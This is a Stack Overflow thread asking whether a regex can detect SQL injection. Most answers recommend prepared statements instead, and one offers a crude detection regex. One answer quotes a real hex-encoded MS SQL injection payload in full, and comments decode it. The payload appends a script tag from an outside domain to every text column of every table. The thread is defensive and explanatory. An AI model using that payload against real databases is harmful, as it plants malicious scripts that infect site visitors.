RegEx to Detect SQL Injection

Asked 16 years, 3 months ago Modified 5 years, 1 month ago

Viewed 27k times

7

Is there a Regular Expression that can detect SQL in a string? Does anyone have a sample of something that they have used before to share?

sql regex sql-injection

Share

Improve this question

Follow

edited Apr 29, 2015 at 16:14

Gyan Veda

6,599 ● 12 ● 44 ● 68

asked Sep 5, 2008 at 2:00

JC Grubbs

40.2k ● 29 ● 69 ● 75

@SQLMenace The library/driver is required to handle escaping of parameter values when you use a `PreparedStatement`—that's one of the main benefits of using them. There are many others, including better query optimization, but the protection against injection is probably my favorite one. – Hank Gay Sep 5, 2008 at 2:10

@SQLMenace Not that I suggest using regex to detect SQL Injection as I agree it is bound to fail, however detecting terms like "declare" and "exec" which are unlikely to be valid in your user input in most cases would work for your specific example. – YonahW Sep 5, 2008 at 2:16

5 Answers

Sorted by: Highest score (default)

41

✓

Don't do it. You're practically guaranteed to fail. Use `PreparedStatement` (or its equivalent) instead.

Share Improve this answer Follow

answered Sep 5, 2008 at 2:02

Hank Gay
71.8k ● 36 ● 161 ● 222

1 This is good advice, this fixes the real problem but you might still want to be able to detect the attack and take additional steps. Using a prepared statement prevents the attack but it will not tell you that someone is trying to attack. – Timbo Sep 22, 2008 at 15:04

4 I guess that depends how important that sort of detection is to you. The easiest checks are likely to generate false positives (' is not always a sign of attack, it could just be a user named O'Banion) and making it more sophisticated starts to eat up time you could be devoting to functionality. – Hank Gay Sep 22, 2008 at 17:08

2 I don't think the question necessarily means the OP wanted to use regex to mitigate the risk. I filter and escape everything, but I am looking for a good SQL injection regex precisely because I want to flag users who are doing things

they shouldn't be (including sql injection attempts). – TMG Apr 28, 2010 at 23:00

2 Additionally, sometimes you can inherit an entire project of dynamic SQL and are suddenly faced with the prospect that changing everything to prepared statements will have you making code modifications to over 500 class files. A regex solution starts to look palatable. – avgvstvs Oct 26, 2011 at 17:59

1 This is not an answer. There are legitimate cases for detecting SQL injection before going to a prepared statement. Such information is useful for logging hack attempts. – bryjohns Mar 13, 2018 at 19:04

21

Use stored procedures or prepared statements. How will you detect something like this?

BTW **do NOT run this:**

```
    DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x444543
24520405420564152434841522832353529292C4043205641524
    48415228323535292044445434C415245205461626C655
F437572736F7220435552534F5220464F522053454C45435420612
E616D652C622E6E616D652046524F4D207379736F626A656374732
12C737973636F6C756D6E73206220574845524520612E69643D622
96420414E4420612E78747970653D2775272414E442028622E787
970653D3939204F5220622E78747970653D3335204F5220622E787
970653D323331204F5220622E78747970653D3136372920F50454
05461626C655F437572736F7220464554434820F4E4558542046524
D205461626C655F437572736F7220494E544F2040542C404320574
94C45284040464554434485F5354415455533D3029204245474494E2
558545328275550444154452052272B40542B275D20534554205B2
B40432B275D3D525452494D28434F4E564552542856415243484152
834303030292C5B272B40432B275D29292B27273C7363726970742
372633D687474703A2F2F7777772E63686B626E722E636F6D2F622
A733E3C2F7363726970743E272727292046455443482E4558542
6524F4D205461626C655F437572736F7220494E544F2040542C404
```

```
0454E4420434C4F5345205461626C655F437572736F72204445414
C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR
```

Which translates to:

```
( DECLARE Table_Cursor CURSOR FOR
    SELECT a.name,b.name FROM sysobjects a,syscolumns
    WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR
b.xtype=231 OR b.xtype=167)
    OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INT
    WHILE(@@FETCH_STATUS=0)
    BEGIN EXEC(
      'UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARC
['+@C+']))+''<script src=chkbnr.com/b.js></script>''')
    FETCH NEXT FROM Table_Cursor INTO @T,@C
  END
  CLOSE Table_Cursor
  DEALLOCATE Table_Cursor )
```

Share Improve this answer

Follow

edited Oct 31, 2019 at 22:36

Robotnik

3,790 ● 4 ● 36 ● 54

answered Sep 5, 2008 at 2:05

SQLMenace

135k ● 25 ● 211 ● 225

1 can you please explain what that code is? got me very interested. thanks! – Alex Gordon Oct 18, 2010 at 15:13

2 these numbers transform to sql query (DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE

['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000), ['+@C+']))+''<script src=chkbnr.com/b.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor) after cast to varchar – Sir Hally Jul 9, 2012 at 10:01

4

Save yourself problems and use stored procedures with prepared statements or parameterized queries. Stored procedures are good practice anyway, as they act like an interface to the database, so you can change what happens behind the scenes (inside the stored proc) but the signature remains the same. The prepared statements help take care of injection protection.

Share Improve this answer Follow

answered Sep 5, 2008 at 2:14

Daniel Huckstep

5,398 ● 10 ● 42 ● 56

0

I don't have a regex but my understanding is that the most important thing is to detect the single quote. All the injection attacks start from there. They probably have the -- in there too to comment out and other SQL that might be after the string.

Share Improve this answer Follow

answered Sep 5, 2008 at 2:04

Timbo

413 ● 3 ● 6

0

As said, it is better to use prepared statements. You could argue forcing key queries to be executed by a stored procedure to force the use of preparing the call.

Anyway, here is a simple grep to detect classic n=n integer in where clauses; it skips flagging the 1=1 used by many lazy query constructors for the AND, but will flag it for the OR

```
((WHERE|OR)[ ]+[\(]*[ ]*([\(]*[0-9]+[\)]*)[ ]*=[ ]*[\)
]*([\(]*1[0-9]+|[2-9][0-9]*[\)]*)[ ]*[\(]*[ ]*=[ ]*[\)
```

It could of course be improved to detect decimal and string comparisons, but it was a quick detection mechanism, along with other greps such as ORD(MID(, etc.

Use it on a query log, such as mysql's general log

Hope its useful

Share Improve this answer Follow

edited Oct 22, 2016 at 10:49

answered Oct 21, 2016 at 13:55

jœl

1 ● 1

You know, there is absolutely nothing "classical" in that n=n in regard of SQL injection. This regexp is no more useful than a literal substring search for "Robert'); DROP TABLE students;"

in hope for detecting an SQL injection.
– Your Common Sense Oct 22, 2016 at 8:38

I did not mean to provide the *god regex* for sql injection; I just thought to share a simple where comparison for typical integer conditions – jœl Oct 22, 2016 at 10:53